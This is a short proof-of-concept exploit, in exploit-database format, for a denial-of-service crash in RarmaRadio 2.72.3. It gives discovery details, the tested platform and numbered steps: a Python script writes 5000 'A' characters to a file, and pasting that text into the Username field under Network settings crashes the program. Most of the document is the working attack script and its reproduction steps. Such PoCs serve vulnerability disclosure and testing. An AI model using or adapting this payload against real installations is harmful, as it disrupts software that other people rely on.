RarmaRadio 2.72.3 - 'Username' Denial of Service (PoC)

#Exploit Title: RarmaRadio 2.72.3 - 'Username' Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-21
#Vendor Homepage: http://www.raimersoft.com/
#Software Link: www.raimersoft.com/downloads/rarmaradio_setup.exe
#Tested Version: 2.72.3
#Tested on: Windows 7 Service Pack 1 x64

#Steps to produce the crash:
#1.- Run python code: rarmaradio_username.py
#2.- Open rarma_user.txt and copy content to clipboard
#3.- Open RarmaRadio
#4.- Select "Edit" > "Settings" > "Network"
#5.- In "Username" field paste Clipboard
#6.- Select "OK"
#7.- Crashed

cod = "\x41" * 5000

f = open('rarma_user.txt', 'w')
f.write(cod)
f.close()